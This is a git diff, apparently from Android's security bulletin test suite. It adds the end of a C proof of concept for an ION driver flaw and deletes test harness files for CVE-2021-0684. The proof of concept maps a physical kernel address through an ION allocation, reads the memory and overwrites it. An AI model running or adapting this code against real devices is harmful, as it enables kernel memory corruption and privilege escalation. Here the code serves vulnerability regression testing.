+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+#ifndef _IOC_NONE
+# define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ 2U
+#endif
+
+#define _IOC(dir,type,nr,size) \
+ (((dir) << _IOC_DIRSHIFT) | \
+ ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | \
+ ((size) << _IOC_SIZESHIFT))
+
+#ifndef __KERNEL__
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#endif
+
+/* used to create numbers */
+#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+
+/* Structure definitions */
+
+enum ION_CMDS {
+ ION_CMD_SYSTEM,
+ ION_CMD_MULTIMEDIA,
+ ION_CMD_MULTIMEDIA_SEC
+};
+
+struct ion_custom_data {
+ unsigned int cmd;
+ unsigned long arg;
+};
+
+struct ion_fd_data {
+ int handle;
+ int fd;
+};
+
+struct ion_allocation_data {
+ size_t len;
+ size_t align;
+ unsigned int heap_id_mask;
+ unsigned int flags;
+ int handle;
+};
+
+struct ion_handle_data {
+ int handle;
+};
+
+struct ion_heap_query {
+ __u32 cnt; /* Total number of heaps to be copied */
+ __u32 reserved0; /* align to 64bits */
+ __u64 heaps; /* buffer to be populated */
+ __u32 reserved1;
+ __u32 reserved2;
+};
+
+enum ION_CACHE_SYNC_TYPE {
+ ION_CACHE_CLEAN_BY_RANGE,
+ ION_CACHE_INVALID_BY_RANGE,
+ ION_CACHE_FLUSH_BY_RANGE,
+ ION_CACHE_CLEAN_BY_RANGE_USE_VA,
+ ION_CACHE_INVALID_BY_RANGE_USE_VA,
+ ION_CACHE_FLUSH_BY_RANGE_USE_VA,
+ ION_CACHE_CLEAN_ALL,
+ ION_CACHE_INVALID_ALL,
+ ION_CACHE_FLUSH_ALL
+};
+
+enum ION_SYS_CMDS {
+ ION_SYS_CACHE_SYNC,
+ ION_SYS_GET_PHYS,
+ ION_SYS_GET_CLIENT,
+ ION_SYS_SET_HANDLE_BACKTRACE,
+ ION_SYS_SET_CLIENT_NAME,
+ ION_SYS_DMA_OP,
+};
+
+struct ion_sys_cache_sync_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ void *va;
+ unsigned int size;
+ enum ION_CACHE_SYNC_TYPE sync_type;
+};
+
+struct ion_sys_get_phys_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ unsigned int phy_addr;
+ unsigned long len;
+};
+
+struct ion_sys_get_client_param {
+ unsigned int client;
+};
+
+#define ION_MM_DBG_NAME_LEN 48
+#define ION_MM_SF_BUF_INFO_LEN 16
+
+struct ion_sys_client_name {
+ char name[ION_MM_DBG_NAME_LEN];
+};
+
+#define BACKTRACE_SIZE 10
+
+struct ion_sys_record_param {
+ pid_t group_id;
+ pid_t pid;
+ unsigned int action;
+ unsigned int address_type;
+ unsigned int address;
+ unsigned int length;
+ unsigned int backtrace[BACKTRACE_SIZE];
+ unsigned int backtrace_num;
+ void *handle;
+ void *client;
+ void *buffer;
+ void *file;
+ int fd;
+};
+
+enum ION_DMA_TYPE {
+ ION_DMA_MAP_AREA,
+ ION_DMA_UNMAP_AREA,
+ ION_DMA_MAP_AREA_VA,
+ ION_DMA_UNMAP_AREA_VA,
+ ION_DMA_FLUSH_BY_RANGE,
+ ION_DMA_FLUSH_BY_RANGE_USE_VA,
+ ION_DMA_CACHE_FLUSH_ALL
+};
+
+enum ION_DMA_DIR {
+ ION_DMA_FROM_DEVICE,
+ ION_DMA_TO_DEVICE,
+ ION_DMA_BIDIRECTIONAL,
+};
+
+struct ion_dma_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ void *va;
+ unsigned int size;
+ enum ION_DMA_TYPE dma_type;
+ enum ION_DMA_DIR dma_dir;
+};
+
+#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
+ struct ion_allocation_data)
+
+#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+struct ion_sys_data {
+ enum ION_SYS_CMDS sys_cmd;
+ union {
+ struct ion_sys_cache_sync_param cache_sync_param;
+ struct ion_sys_get_phys_param get_phys_param;
+ struct ion_sys_get_client_param get_client_param;
+ struct ion_sys_client_name client_name_param;
+ struct ion_sys_record_param record_param;
+ struct ion_dma_param dma_param;
+ };
+};
+
+union ion_ioctl_arg {
+ struct ion_fd_data fd;
+ struct ion_allocation_data allocation;
+ struct ion_handle_data handle;
+ struct ion_custom_data custom;
+ struct ion_heap_query query;
+};
+
+enum mtk_ion_heap_type {
+ ION_HEAP_TYPE_MULTIMEDIA = 10,
+ ION_HEAP_TYPE_FB = 11,
+ ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12,
+ ION_HEAP_TYPE_MULTIMEDIA_SEC = 13,
+ ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14,
+ ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15,
+ ION_HEAP_TYPE_MULTIMEDIA_PROT = 16,
+ ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17,
+ ION_HEAP_TYPE_MULTIMEDIA_WFD = 18,
+/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */
+};
+
+
+/*
+ * mappings of this buffer should be cached, ion will do cache maintenance
+ * when the buffer is mapped for dma
+ */
+#define ION_FLAG_CACHED 1
+
+/*
+ * mappings of this buffer will created at mmap time, if this is set
+ * caches must be managed manually
+ */
+#define ION_FLAG_CACHED_NEEDS_SYNC 2
+
+
+/*
+struct ion_client {
+ struct rb_node node;
+ struct ion_device *dev;
+ struct rb_root handles;
+ struct idr idr;
+ struct mutex lock;
+ const char *name;
+ char *display_name;
+ int display_serial;
+ struct task_struct *task;
+ pid_t pid;
+ struct dentry *debug_root;
+ char dbg_name[ION_MM_DBG_NAME_LEN];
+};
+*/
+// "dev" offset inside ion_client
+#define ion_device_OFF 12
+
+/*
+
+struct ion_device {
+ struct miscdevice dev;
+ struct rb_root buffers;
+ struct mutex buffer_lock;
+ struct rw_semaphore lock;
+ struct plist_head heaps;
+ long (*custom_ioctl)(struct ion_client *client, unsigned int cmd,
+ unsigned long arg);
+ struct rb_root clients;
+ struct dentry *debug_root;
+ struct dentry *heaps_debug_root;
+ struct dentry *clients_debug_root;
+};
+
+*/
+
+//"custom_ioctl" offset inside
+#define custom_ioctl_OFF 100
+
+int g_fd = -1;
+
+#define MMAP_SIZE 4096
+//#define PAGE_SIZE 4096
+
+int alloc_handle(int type, unsigned long kernel_obj_addr) {
+
+ union ion_ioctl_arg iia;
+ memset(&iia, 0, sizeof(iia));
+
+ iia.allocation.len = MMAP_SIZE;
+ iia.allocation.align = kernel_obj_addr;
+ iia.allocation.heap_id_mask = 1 << type;
+ iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC;
+
+ FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC);
+ ALOGE("ION_IOC_ALLOC success");
+ return iia.allocation.handle;
+}
+
+int poc_write_kernel() {
+
+ g_fd = open("/dev/ion", 0x80000);
+ FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion);
+ ALOGE("[+] open /dev/ion");
+
+ int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000);
+
+ FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed);
+
+ union ion_ioctl_arg iia;
+ memset(&iia, 0, sizeof(iia));
+
+ iia.fd.handle = handle;
+
+ FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE);
+ ALOGE("ION_IOC_SHARE handle success");
+
+ int dma_fd = iia.fd.fd;
+
+ char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
+ FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap);
+
+ ALOGE("re_buf addr:%p", re_buf);
+ ALOGE("re_buf[0]:%x", re_buf[0]);
+
+ unsigned long read_num = 0;
+ int counter = 0;
+ unsigned long *read_buf = (unsigned long *)re_buf;
+ for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
+ if (read_buf[read_num]) {
+ //reduce number of log messages
+ if(counter++ % 8 == 0){
+ ALOGE("read_buf[%lu]:0x%lx", read_num, read_buf[read_num]);
+ }
+ }
+ }
+ ALOGE("read_num = %lu", read_num);
+ ALOGE("non zero = %d", counter);
+
+ memset(re_buf, 0xbb, MMAP_SIZE);
+ munmap(re_buf, MMAP_SIZE);
+ close(dma_fd);
+ close(g_fd);
+
+ return 0;
+}
+
+int main() {
+ poc_write_kernel();
+ ALOGE("test end");
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
deleted file mode 100644
index 875a38a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#include "TestInputListener.h"
-
-namespace android {
-
-// --- TestInputListener ---
-
-TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
- std::chrono::milliseconds eventDidNotHappenTimeout)
- : mEventHappenedTimeout(eventHappenedTimeout),
- mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
-
-TestInputListener::~TestInputListener() {}
-
-template <class NotifyArgsType>
-void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- if (queue.empty()) {
- const bool eventReceived =
- mCondition.wait_for(lock, mEventHappenedTimeout,
- [&queue]() REQUIRES(mLock) { return !queue.empty(); });
- if (!eventReceived) {
- return;
- }
- }
- if (outEventArgs) {
- *outEventArgs = *queue.begin();
- }
- queue.erase(queue.begin());
-}
-
-template <class NotifyArgsType>
-void TestInputListener::assertNotCalled(std::string message) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- const bool eventReceived =
- mCondition.wait_for(lock, mEventDidNotHappenTimeout,
- [&queue]() REQUIRES(mLock) { return !queue.empty(); });
- if (eventReceived) {
- return;
- }
-}
-
-template <class NotifyArgsType>
-void TestInputListener::notify(const NotifyArgsType* args) {
- std::scoped_lock<std::mutex> lock(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- queue.push_back(*args);
- mCondition.notify_all();
-}
-
-void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
- notify<NotifyConfigurationChangedArgs>(args);
-}
-
-void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
- notify<NotifyDeviceResetArgs>(args);
-}
-
-void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
- notify<NotifyKeyArgs>(args);
-}
-
-void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
- notify<NotifyMotionArgs>(args);
-}
-
-void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
- notify<NotifySwitchArgs>(args);
-}
-
-void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
- notify<NotifyPointerCaptureChangedArgs>(args);
-}
-
-void TestInputListener::notifySensor(const NotifySensorArgs* args) {
- notify<NotifySensorArgs>(args);
-}
-
-void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
- notify<NotifyVibratorStateArgs>(args);
-}
-
-} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
deleted file mode 100644
index 067ac83..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#ifndef _UI_TEST_INPUT_LISTENER_H
-#define _UI_TEST_INPUT_LISTENER_H
-
-#include <android-base/thread_annotations.h>
-#include "InputListener.h"
-
-using std::chrono_literals::operator""ms;
-
-namespace android {
-
-// --- TestInputListener ---
-
-class TestInputListener : public InputListenerInterface {
-protected:
- virtual ~TestInputListener();
-
-public:
- TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
- std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
-
- template <class NotifyArgsType>
- void assertCalled(NotifyArgsType* outEventArgs, std::string message);
-
- template <class NotifyArgsType>
- void assertNotCalled(std::string message);
-
- template <class NotifyArgsType>
- void notify(const NotifyArgsType* args);
-
- virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
-
- virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
-
- virtual void notifyKey(const NotifyKeyArgs* args) override;
-
- virtual void notifyMotion(const NotifyMotionArgs* args) override;
-
- virtual void notifySwitch(const NotifySwitchArgs* args) override;
-
- virtual void notifySensor(const NotifySensorArgs* args) override;
-
- virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
-
- virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
-
- std::mutex mLock;
- std::condition_variable mCondition;
- const std::chrono::milliseconds mEventHappenedTimeout;
- const std::chrono::milliseconds mEventDidNotHappenTimeout;
-
- std::tuple<std::vector<NotifyConfigurationChangedArgs>, //
- std::vector<NotifyDeviceResetArgs>, //
- std::vector<NotifyKeyArgs>, //
- std::vector<NotifyMotionArgs>, //
- std::vector<NotifySwitchArgs>, //
- std::vector<NotifySensorArgs>, //
- std::vector<NotifyVibratorStateArgs>, //
- std::vector<NotifyPointerCaptureChangedArgs>> //
- mQueues GUARDED_BY(mLock);
-};
-
-} // namespace android
-#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
deleted file mode 100644
index c2dbdf2..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
+++ /dev/null
@@ -1,1238 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#include <InputMapper.h>
-#include <InputReader.h>
-#include <InputReaderBase.h>
-#include <InputReaderFactory.h>
-#include <MultiTouchInputMapper.h>
-#include <TestInputListener.h>
-
-namespace android {
-
-using std::chrono_literals::operator""ms;
-using namespace android::flag_operators;
-
-// Timeout for waiting for an expected event
-static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
-
-// An arbitrary time value.
-static constexpr nsecs_t ARBITRARY_TIME = 1234;
-static constexpr nsecs_t READ_TIME = 4321;
-
-// Arbitrary display properties.
-static constexpr int32_t DISPLAY_ID = 0;
-static constexpr int32_t DISPLAY_WIDTH = 480;
-static constexpr int32_t DISPLAY_HEIGHT = 800;
-static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
-static constexpr int32_t BATTERY_STATUS = 4;
-static constexpr int32_t BATTERY_CAPACITY = 66;
-static constexpr int32_t RAW_X_MIN = 25;
-static constexpr int32_t RAW_X_MAX = 1019;
-static constexpr int32_t RAW_Y_MIN = 30;
-static constexpr int32_t RAW_Y_MAX = 1009;
-constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
-constexpr int32_t DEVICE_GENERATION = 2;
-
-const char* DEVICE_NAME = "device";
-const char* DEVICE_LOCATION = "USB1";
-const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
-constexpr int32_t EVENTHUB_ID = 1;
-const std::string UNIQUE_ID = "local:0";
-
-template <typename T>
-static inline T min(T a, T b) {
- return a < b ? a : b;
-}
-
-// --- TestPointerController ---
-
-class TestPointerController : public PointerControllerInterface {
- bool mHaveBounds;
- float mMinX, mMinY, mMaxX, mMaxY;
- float mX, mY;
- int32_t mButtonState;
- int32_t mDisplayId;
-
-public:
- TestPointerController()
- : mHaveBounds(false),
- mMinX(0),
- mMinY(0),
- mMaxX(0),
- mMaxY(0),
- mX(0),
- mY(0),
- mButtonState(0),
- mDisplayId(ADISPLAY_ID_DEFAULT) {}
-
- virtual ~TestPointerController() {}
-
- void setBounds(float minX, float minY, float maxX, float maxY) {
- mHaveBounds = true;
- mMinX = minX;
- mMinY = minY;
- mMaxX = maxX;
- mMaxY = maxY;
- }
-
- void setPosition(float x, float y) override {
- mX = x;
- mY = y;
- }
-
- void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
-
- int32_t getButtonState() const override { return mButtonState; }
-
- void getPosition(float* outX, float* outY) const override {
- *outX = mX;
- *outY = mY;
- }
-
- int32_t getDisplayId() const override { return mDisplayId; }
-
- void setDisplayViewport(const DisplayViewport& viewport) override {
- mDisplayId = viewport.displayId;
- }
-
- const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
-
-private:
- bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
- *outMinX = mMinX;
- *outMinY = mMinY;
- *outMaxX = mMaxX;
- *outMaxY = mMaxY;
- return mHaveBounds;
- }
-
- void move(float deltaX, float deltaY) override {
- mX += deltaX;
- if (mX < mMinX) mX = mMinX;
- if (mX > mMaxX) mX = mMaxX;
- mY += deltaY;
- if (mY < mMinY) mY = mMinY;
- if (mY > mMaxY) mY = mMaxY;
- }
-
- void fade(Transition) override {}
-
- void unfade(Transition) override {}
-
- void setPresentation(Presentation) override {}
-
- void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
- int32_t displayId) override {
- std::vector<int32_t> newSpots;
- // Add spots for fingers that are down.
- for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
- uint32_t id = idBits.clearFirstMarkedBit();
- newSpots.push_back(id);
- }
-
- mSpotsByDisplay[displayId] = newSpots;
- }
-
- void clearSpots() override {}
-
- std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
-};
-
-// --- TestInputReaderPolicy---
-
-class TestInputReaderPolicy : public InputReaderPolicyInterface {
- std::mutex mLock;
- std::condition_variable mDevicesChangedCondition;
-
- InputReaderConfiguration mConfig;
- std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
- std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
- bool mInputDevicesChanged GUARDED_BY(mLock){false};
- std::vector<DisplayViewport> mViewports;
- TouchAffineTransformation transform;
-
-protected:
- virtual ~TestInputReaderPolicy() {}
-
-public:
- TestInputReaderPolicy() {}
-
- virtual void clearViewports() {
- mViewports.clear();
- mConfig.setDisplayViewports(mViewports);
- }
-
- std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
- return mConfig.getDisplayViewportByUniqueId(uniqueId);
- }
- std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
- return mConfig.getDisplayViewportByType(type);
- }
-
- std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
- return mConfig.getDisplayViewportByPort(displayPort);
- }
-
- void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
- bool isActive, const std::string& uniqueId,
- std::optional<uint8_t> physicalPort, ViewportType viewportType) {
- const DisplayViewport viewport =
- createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
- physicalPort, viewportType);
- mViewports.push_back(viewport);
- mConfig.setDisplayViewports(mViewports);
- }
-
- bool updateViewport(const DisplayViewport& viewport) {
- size_t count = mViewports.size();
- for (size_t i = 0; i < count; i++) {
- const DisplayViewport& currentViewport = mViewports[i];
- if (currentViewport.displayId == viewport.displayId) {
- mViewports[i] = viewport;
- mConfig.setDisplayViewports(mViewports);
- return true;
- }
- }
- // no viewport found.
- return false;
- }
-
- void addExcludedDeviceName(const std::string& deviceName) {
- mConfig.excludedDeviceNames.push_back(deviceName);
- }
-
- void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
- mConfig.portAssociations.insert({inputPort, displayPort});
- }
-
- void addInputUniqueIdAssociation(const std::string& inputUniqueId,
- const std::string& displayUniqueId) {
- mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
- }
-
- void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
-
- void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
-
- void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
- mPointerControllers.insert_or_assign(deviceId, std::move(controller));
- }
-
- const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
-
- const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
-
- TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
- int32_t surfaceRotation) {
- return transform;
- }
-
- void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
-
- void setPointerCapture(const PointerCaptureRequest& request) {
- mConfig.pointerCaptureRequest = request;
- }
-
- void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
-
- void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
- mConfig.defaultPointerDisplayId = pointerDisplayId;
- }
-
- float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
-
-private:
- DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
- int32_t orientation, bool isActive,
- const std::string& uniqueId,
- std::optional<uint8_t> physicalPort, ViewportType type) {
- bool isRotated =
- (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
- DisplayViewport v;
- v.displayId = displayId;
- v.orientation = orientation;
- v.logicalLeft = 0;
- v.logicalTop = 0;
- v.logicalRight = isRotated ? height : width;
- v.logicalBottom = isRotated ? width : height;
- v.physicalLeft = 0;
- v.physicalTop = 0;
- v.physicalRight = isRotated ? height : width;
- v.physicalBottom = isRotated ? width : height;
- v.deviceWidth = isRotated ? height : width;
- v.deviceHeight = isRotated ? width : height;
- v.isActive = isActive;
- v.uniqueId = uniqueId;
- v.physicalPort = physicalPort;
- v.type = type;
- return v;
- }
-
- void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
- *outConfig = mConfig;
- }
-
- std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
- return mPointerControllers[deviceId];
- }
-
- void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mInputDevices = inputDevices;
- mInputDevicesChanged = true;
- mDevicesChangedCondition.notify_all();
- }
-
- std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
- const InputDeviceIdentifier&) override {
- return nullptr;
- }
-
- std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
-
- void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
- return mInputDevicesChanged;
- });
- mInputDevicesChanged = false;
- }
-};
-
-// --- TestEventHub ---
-
-class TestEventHub : public EventHubInterface {
- struct KeyInfo {
- int32_t keyCode;
- uint32_t flags;
- };
-
- struct SensorInfo {
- InputDeviceSensorType sensorType;
- int32_t sensorDataIndex;
- };
-
- struct Device {
- InputDeviceIdentifier identifier;
- Flags<InputDeviceClass> classes;
- PropertyMap configuration;
- KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
- KeyedVector<int, bool> relativeAxes;
- KeyedVector<int32_t, int32_t> keyCodeStates;
- KeyedVector<int32_t, int32_t> scanCodeStates;
- KeyedVector<int32_t, int32_t> switchStates;
- KeyedVector<int32_t, int32_t> absoluteAxisValue;
- KeyedVector<int32_t, KeyInfo> keysByScanCode;
- KeyedVector<int32_t, KeyInfo> keysByUsageCode;
- KeyedVector<int32_t, bool> leds;
- std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
- BitArray<MSC_MAX> mscBitmask;
- std::vector<VirtualKeyDefinition> virtualKeys;
- bool enabled;
-
- status_t enable() {
- enabled = true;
- return OK;
- }
-
- status_t disable() {
- enabled = false;
- return OK;
- }
-
- explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
- };
-
- std::mutex mLock;
- std::condition_variable mEventsCondition;
-
- KeyedVector<int32_t, Device*> mDevices;
- std::vector<std::string> mExcludedDevices;
- std::vector<RawEvent> mEvents GUARDED_BY(mLock);
- std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
- std::vector<int32_t> mVibrators = {0, 1};
- std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
- // Simulates a device light brightness, from light id to light brightness.
- std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
- // Simulates a device light intensities, from light id to light intensities map.
- std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
- mLightIntensities;
-
-public:
- virtual ~TestEventHub() {
- for (size_t i = 0; i < mDevices.size(); i++) {
- delete mDevices.valueAt(i);
- }
- }
-
- TestEventHub() {}
-
- void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
- Device* device = new Device(classes);
- device->identifier.name = name;
- mDevices.add(deviceId, device);
-
- enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
- }
-
- void removeDevice(int32_t deviceId) {
- delete mDevices.valueFor(deviceId);
- mDevices.removeItem(deviceId);
-
- enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
- }
-
- bool isDeviceEnabled(int32_t deviceId) {
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return false;
- }
- return device->enabled;
- }
-
- status_t enableDevice(int32_t deviceId) {
- status_t result;
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return BAD_VALUE;
- }
- if (device->enabled) {
- ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
- return OK;
- }
- result = device->enable();
- return result;
- }
-
- status_t disableDevice(int32_t deviceId) {
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return BAD_VALUE;
